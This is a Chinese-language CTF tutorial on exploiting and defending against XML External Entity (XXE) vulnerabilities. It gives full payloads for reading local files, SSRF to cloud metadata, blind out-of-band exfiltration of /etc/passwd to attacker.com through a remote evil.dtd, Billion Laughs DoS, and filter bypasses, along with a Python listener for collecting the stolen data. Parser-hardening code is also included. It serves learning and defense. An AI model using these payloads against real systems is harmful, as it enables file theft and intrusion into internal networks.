1. 项目概述为什么XXE漏洞在CTF中经久不衰如果你玩过几场CTF尤其是Web方向那对XXEXML External Entity漏洞肯定不会陌生。它就像赛场上的一个“老朋友”几乎每年都会以各种新花样出现。为什么出题人这么偏爱它从我个人的解题和出题经验来看XXE漏洞的魅力在于它完美的“攻防博弈”模型。一方面它的原理清晰利用链直接能实现从文件读取到远程代码执行的多种效果非常适合考察选手对XML解析机制、协议层攻击的理解深度。另一方面围绕它的防御机制也层出不穷从禁用外部实体到复杂的输入过滤这又为出题人设计“绕过”关卡提供了广阔的舞台。因此掌握XXE绝不仅仅是会写一个简单的payload那么简单更重要的是理解其背后的解析逻辑、不同语言/库的差异以及如何见招拆招绕过层层防御。这篇文章我就结合多年“打比赛”和“挖洞”的经验带你从原理到实战一步步拆解XXE漏洞的利用技巧并重点分享那些在CTF和实际渗透测试中非常有效的绕过姿势。2. XXE漏洞核心原理与利用方式拆解在讨论绕过之前我们必须把地基打牢。XXE漏洞的根源在于XML解析器在解析用户可控的XML数据时过于“听话”地处理了文档类型定义DTD中的外部实体声明。2.1 XML与DTD漏洞的土壤XML本身是一种标记语言用于存储和传输数据。DTD是其一部分用于定义XML文档的合法结构。关键点在于DTD允许我们定义“实体”。实体可以理解为一种缩写或变量。例如!ENTITY name value定义了一个内部实体name;在XML中引用时会被替换为value。而外部实体则是通过系统标识符SYSTEM关键字指向外部资源如文件、URL。这正是漏洞的入口!ENTITY xxe SYSTEM file:///etc/passwd当解析器遇到xxe;时它会尝试去读取/etc/passwd文件的内容。如果这个XML数据是用户可控的并且服务器端解析后会将实体的内容返回或进行某种处理如输出错误信息、作为参数传递那么我们就实现了任意文件读取。2.2 基础利用方式不止于文件读取很多新手认为XXE就是读文件这大大低估了它的威力。根据解析器的配置和上下文环境XXE的利用方式非常多样本地文件读取最经典的利用。利用file://、php://filter等协议读取服务器上的敏感文件如/etc/passwd、/proc/self/environ、应用源码、配置文件config.php,web.config等。!-- 读取PHP文件源码经过Base64编码避免解析错误 -- !ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/var/www/html/index.phpSSRF服务端请求伪造利用http://、ftp://、gopher://等协议让服务器向内部或任意网络端点发起请求。这可以用来探测内网端口和服务甚至攻击内网脆弱的应用。!ENTITY xxe SYSTEM http://169.254.169.254/latest/meta-data/盲XXEBlind XXE当服务器解析了外部实体但不会在响应中直接回显结果时就需要利用盲注技术。通常通过外带数据OOB的方式将数据拼接到一个指向我们可控服务器的URL中通过查看我们服务器的访问日志来获取数据。!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil;注意这里使用了参数实体%和嵌套的实体声明这是一种在DTD内部进行动态构造的技巧在绕过某些过滤时非常有用。拒绝服务DoS通过构造“亿级实体爆炸”Billion Laughs Attack或递归实体引用耗尽服务器内存。!ENTITY lol lol !ENTITY lol1 lol;lol;lol;lol;lol;lol;lol;lol;lol;lol; !ENTITY lol2 lol1;lol1;lol1;lol1;lol1;lol1;lol1;lol1;lol1;lol1; !-- ... 继续定义 lol3 到 lol9 --最终引用lol9;会导致解析器指数级扩展实体内容造成DoS。3. 常见防御机制及其内在逻辑理解了攻击才能更好地理解防御。现代应用和CTF题目中常见的XXE防御手段主要从解析器配置和输入处理两个层面入手。3.1 解析器层面的防御这是最根本的防御方式通过配置XML解析库来限制其功能。禁用外部实体加载这是最推荐的做法。在Java的DocumentBuilderFactory中可以设置FEATURE_SECURE_PROCESSING或显式禁用相关特性DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); // 最佳禁用DTD dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); // 禁用通用外部实体 dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); // 禁用参数外部实体在PHP的libxml中可以使用libxml_disable_entity_loader(true)。在Python的lxml中可以设置resolve_entitiesFalse。启用安全处理模式如Java中的FEATURE_SECURE_PROCESSING它会启用一组安全限制但具体限制范围因解析器实现而异不能完全依赖。3.2 输入处理层面的防御当无法修改解析器配置例如使用老旧库或第三方服务时开发者可能会尝试在应用层进行过滤。黑名单过滤简单粗暴地过滤掉!DOCTYPE、!ENTITY、SYSTEM、PUBLIC等关键词。这是最弱的一种防御非常容易绕过。内容类型检查强制要求请求的Content-Type为application/xml或text/xml但这只能防住粗心的攻击者修改内容类型发起的攻击。XML格式校验使用XML Schema (XSD)对XML结构进行严格校验。如果DTD或某些元素不在Schema定义范围内解析会失败。这是一种较强的防御但需要精心设计Schema。4. 手把手绕过实战从简单过滤到复杂场景现在进入核心环节。CTF题目的乐趣就在于它模拟了这些防御并留出了绕过的空间。下面我按难度递增的顺序分享几种典型的绕过技巧。4.1 绕过关键词黑名单过滤这是最常见的初级绕过。假设题目过滤了SYSTEM、ENTITY、file等词。技巧1大小写/双写/插入干扰字符XML解析器对标签和声明关键字的识别可能不区分大小写或者过滤逻辑不健全。大小写绕过!ENTITY-!EnTiTy,SYSTEM-SyStEm双写绕过如果过滤是简单的字符串替换且只执行一次!ENTITY被替换为空那么!ENT!ENTITYITY经过替换后可能变成!ENTITY。插入无关字符/注释在某些解析器中可以在关键字中插入XML注释或换行符。但这种方式非常依赖解析器的容错能力不是通用解法。!ENTITY !-- test -- xxe SYSTEM file:///etc/passwd技巧2使用不同协议或编码协议替换不能使用file://可以尝试php://filter、expect://需安装扩展、http://用于SSRF。编码绕过对payload进行URL编码、HTML实体编码、甚至Unicode编码。如果过滤发生在解码之前而解析器最终会解码就可能绕过。例如将SYSTEM编码为#x53;#x59;#x53;#x54;#x45;#x4d;十六进制HTML实体。注意编码的位置很重要通常需要对整个实体声明部分进行编码。技巧3利用DTD内部实体和参数实体这是更高级的技巧。当直接的外部实体声明被过滤时可以尝试在DTD内部做文章。内部实体外部引用先定义一个看似“内部”的实体但其值包含外部引用。这种方法有时能绕过对SYSTEM关键字的检查但要求解析器支持实体的动态展开且过滤逻辑不检查实体值的内容。参数实体外部DTD盲XXE必备这是绕过很多防御的“王牌”。思路是将恶意的DTD放在攻击者控制的服务器上然后在XML中通过参数实体引入它。攻击步骤在http://attacker.com/evil.dtd存放恶意DTD!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil;在提交的XML中引用这个外部DTD!DOCTYPE foo [ !ENTITY % remote SYSTEM http://attacker.com/evil.dtd %remote; ] fooexfil;/foo这样做的好处是提交的XML本身看起来“很干净”只包含一个指向外部的参数实体%remote而核心的恶意操作读文件、外带数据都放在远程的evil.dtd中。很多简单的黑名单过滤可能检测不到SYSTEM http://...这种“无害”的引用或者无法检查远程DTD的内容。4.2 绕过解析器安全配置有些题目模拟了禁用通用外部实体但可能忽略了参数外部实体或者配置不完全。技巧利用参数实体与内部DTD的嵌套在某些场景下即使外部通用实体被禁用外部参数实体可能仍然可用。我们可以利用参数实体在内部DTD中“动态构造”另一个实体声明。注意在内部DTD中参数实体的引用是允许的。!DOCTYPE foo [ !ENTITY % param_entity !ENTITY internal_entity 内容来自文件 %param_entity; ] foointernal_entity;/foo这里%param_entity;是一个参数实体它在DTD内部被展开展开后的内容是一个新的内部通用实体!ENTITY internal_entity ...的声明。然后我们就可以引用internal_entity;了。如果%param_entity的值能来自外部比如通过一个允许的外部参数实体我们就能实现数据注入。一个更经典的组合拳是“外部参数实体引入 - 内部参数实体声明 - 构造内部通用实体”!DOCTYPE foo [ !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd; ] fooexfil;/foo其中evil.dtd内容为!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval;这个链式调用成功的关键在于服务器解析器允许加载外部参数实体%dtd并且在解析内部DTD时允许执行参数实体%eval来动态声明另一个实体#x25; exfil这里#x25;是%的实体编码。这种技巧常用于盲XXE。实操心得不是所有解析器都支持在内部DTD子集中使用参数实体引用外部数据后再动态声明实体。Java的某些版本和配置下就不行而PHP的expect模块如果安装可能支持。在CTF中这通常意味着出题人使用的语言/库存在这种特性。多试几种payload模板是解题关键。4.3 面对XSD校验的绕过思路如果题目使用了XML Schema (XSD)进行严格校验那么任何不在Schema中定义的元素和属性都会被拒绝。这时传统的在DOCTYPE中注入实体声明的方法很可能行不通因为整个DOCTYPE区块可能不被允许或者会被校验器剥离。技巧利用SVG或Office文档等特定格式一些应用允许上传SVG图片、Word.docx、Excel.xlsx等文件这些文件本质上是XML的集合例如.docx是一个zip包内含多个XML文件。这些格式有自己预定义的、复杂的Schema其中可能包含允许外部实体引用的部分。SVG XXESVG是一种基于XML的图像格式。一个简单的SVG文件可能包含如下恶意内容?xml version1.0 standaloneyes? !DOCTYPE svg [ !ENTITY xxe SYSTEM file:///etc/passwd ] svg width100 height100 xmlnshttp://www.w3.org/2000/svg text x10 y20xxe;/text /svg如果图片上传功能在服务器端会解析SVG内容例如为了提取元数据、生成缩略图就可能触发XXE。Office文档XXE.docx文件中的word/document.xml、word/_rels/document.xml.rels等文件可能支持自定义XML实体。通过构造特殊的文档在解压后的这些XML文件中插入XXE payload再重新打包成.docx上传后可能被服务器端的文档处理组件如Apache POI解析并触发漏洞。技巧寻找“宽松”的校验点或后解析流程有时应用可能有多处处理XML。主业务逻辑有严格的XSD校验但某个次要功能如日志记录、错误信息生成、数据导出使用了不同的、配置不安全的解析器。攻击者需要仔细寻找整个数据流中XML数据被二次解析的环节。4.4 盲XXE数据外带的技巧与优化盲XXE是CTF中的常客因为出题人不想把flag直接打印在页面上。数据外带OOB的成功率取决于网络环境和payload构造。技巧1使用多种协议和端口HTTP协议最常用http://attacker.com:80/?data...尝试DNS协议!ENTITY xxe SYSTEM http://data.attacker.com/通过子域名解析将数据带出。有些网络环境可能允许DNS流量但限制HTTP出站。查看DNS解析日志即可获取data子域名的请求记录。使用FTP协议在某些罕见配置下FTP可能被允许并且服务器会尝试向FTP服务器发送包含文件内容的USER命令。技巧2处理数据中的特殊字符文件内容可能包含换行符、、等XML特殊字符直接拼接到URL中会导致解析失败或截断。Base64编码利用php://filter/convert.base64-encode/resource协议读取文件得到的是编码后的字符串避免了特殊字符问题。CDATA包裹不通用在极少数支持内联DTD声明并回显的场景可以尝试用CDATA包裹数据但这在盲XXE外带场景中很难实现。分块外带对于长文件可以尝试用file://协议结合某些技巧如利用PHP的php://filter/read...分多次读取部分内容。或者利用参数实体和外部DTD进行递归或条件引用但复杂度很高。技巧3利用报错信息回显数据如果目标服务器在解析XML出错时会将错误信息其中可能包含我们注入的实体内容返回那么我们可以构造一个会引发错误的payload让错误信息包含文件内容。这被称为“报错型XXE”。!DOCTYPE foo [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; error SYSTEM file:///nonexistent/%file; %eval; ] fooerror;/foo这里我们试图将一个包含文件内容的路径file:///nonexistent/...[文件内容]...作为系统标识符。解析器尝试加载这个不存在的文件时可能会在错误信息中输出整个路径从而泄露文件内容。这种方法非常依赖服务器错误处理的详细程度。5. CTF实战案例与排错实录理论说再多不如看两个我遇到过的典型CTF题目场景以及其中踩过的坑。5.1 案例一隐藏在JSON里的XXE题目界面是一个接收JSON的API端点返回一些数据。初看似乎和XML无关。但经验告诉我有些框架或后端代码为了灵活性会同时支持JSON和XML并根据Content-Type头自动解析。这就是“内容类型转换”攻击。攻击过程测试将请求的Content-Type从application/json改为application/xml但body还是原来的JSON结构服务器返回了错误提示XML解析失败。好迹象说明它尝试解析了。构造Payload将body改为合法的XML数据并包含XXE payload。但服务器返回了“非法字符”或“DTD被禁止”的错误。绕过过滤检查发现直接使用!DOCTYPE会被拦截。尝试使用参数实体引入外部DTD的方式。把!DOCTYPE foo [!ENTITY % remote SYSTEM http://my-server/evil.dtd %remote;]作为XML成功发送并且我的服务器收到了evil.dtd的请求说明外部参数实体被允许。盲注外带数据在evil.dtd中编写读取flag文件通常位于/flag或./flag并外带的payload。刷新题目页面查看我的服务器访问日志成功在URL参数中看到了Base64编码的flag内容。踩坑点Content-Type必须准确有时需要尝试text/xml、application/x-www-form-urlencoded如果后端是PHP且always_populate_raw_post_data开启等多种类型。注意请求格式如果原始请求是POST带JSON参数改为XML后可能需要将整个JSON结构转换成XML元素或者直接将XML payload作为根元素的值。需要根据错误信息反复调整。外带服务器需稳定使用一个公网可访问的服务器接收数据并确保日志清晰。我常用python3 -m http.server 80或nc -lvnp 80临时监听但在正式比赛或测试时最好使用有域名的稳定服务器因为某些网络环境会过滤对IP地址的HTTP请求。5.2 案例二多层编码与协议混淆题目提供了一个“XML数据格式化”功能输入一段XML它会美化输出。显然这里可能存在XXE。但直接输入简单payload被过滤了。排查与绕过探测过滤规则分别提交包含、、!DOCTYPE、ENTITY、SYSTEM、file等关键词的测试串发现SYSTEM和file被直接拒绝。ENTITY和DOCTYPE似乎被允许但组合起来就不行。推测有基于正则的黑名单可能检查了SYSTEM后跟file://的模式。尝试编码绕过对SYSTEM进行HTML实体编码#x53;...失败。对整段DTD进行URL编码后作为参数值提交失败。说明过滤可能发生在解码之后或者服务器进行了多层解码和检查。转换思路利用协议既然file被禁尝试php://filter。Payload:!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/etc/passwd。成功了服务器返回了美化后的XML其中实体xxe;的位置被替换为一长串Base64字符串解码即得文件内容。进一步利用读取应用配置文件发现数据库密码。但题目要求是获取/flag。读取之发现flag不在这个文件。尝试列目录但php://filter不能用于列目录。需要寻找其他协议或方法。利用SSRF探测将协议改为http://127.0.0.1:8080/服务器返回了连接错误说明解析器尝试连接了。继续探测http://127.0.0.1:80/返回了400 Bad Request可能是Web服务器。最终通过http://127.0.0.1/flag直接访问到了本地的Web服务返回了flag。原来flag是通过Web服务暴露在本机端口的。经验总结协议是突破口当file://被禁时php://filter、http://、expect://如果环境支持都是重要的备选方案。php://filter尤其强大可以读取源码。注意过滤的层次过滤可能针对关键词、协议、特定模式。多尝试不同的组合和编码方式。XXE常与SSRF结合在CTF中XXE读取不到flag时往往意味着需要利用它进行内网探测或攻击本地服务。6. 防御视角下的加固建议与工具作为防守方或者写完CTF题目想确保没有 unintended solution我们应该如何彻底防御XXE根本措施禁用DTD和外部实体如3.1节所述使用解析器提供的安全配置这是最有效的方法。务必同时禁用通用实体和参数实体。白名单输入校验使用XSD对XML结构进行严格校验只允许预期的元素和属性。这能有效阻止注入恶意DTD。依赖库升级与安全配置及时升级XML解析库如libxml2并使用其最新的安全默认配置。老旧版本的库往往有更多默认不安全的行为。输出编码即使解析了XML也不要将用户输入的任何数据包括实体引用展开的内容直接输出到页面。在Web环境下进行适当的HTML编码。使用更安全的数据格式在不需要XML强大功能的场景考虑使用JSON等更简单、不易出现此类问题的数据格式。辅助工具黑盒测试工具Burp Suite的Scanner和Intruder模块可以用于自动化检测XXE。XXE Inject等Burp插件也能提供帮助。Payload集合PayloadsAllTheThings项目中有一个非常全面的XXE Payload列表是CTF选手和渗透测试人员的必备参考。自定义监听服务器用于接收盲XXE外带的数据。可以用简单的Python脚本快速搭建from http.server import HTTPServer, BaseHTTPRequestHandler import urllib.parse class Handler(BaseHTTPRequestHandler): def do_GET(self): query urllib.parse.urlparse(self.path).query print(f[] Received data: {query}) self.send_response(200) self.end_headers() def log_message(self, format, *args): pass # 静默日志避免干扰 server HTTPServer((0.0.0.0, 80), Handler) server.serve_forever()最后我想说的是XXE漏洞的利用和防御是一场关于“解析器行为细节”的博弈。在CTF中攻克一道XXE题目带来的不仅是得分更是对Web安全底层原理一次深刻的理解。真正的熟练来自于反复的练习、对每种payload成功与失败原因的刨根问底以及从攻击者视角切换到防御者视角的思考。希望这些技巧和思路能让你下次遇到XXE时多几分从容多几个解题的“武器”。
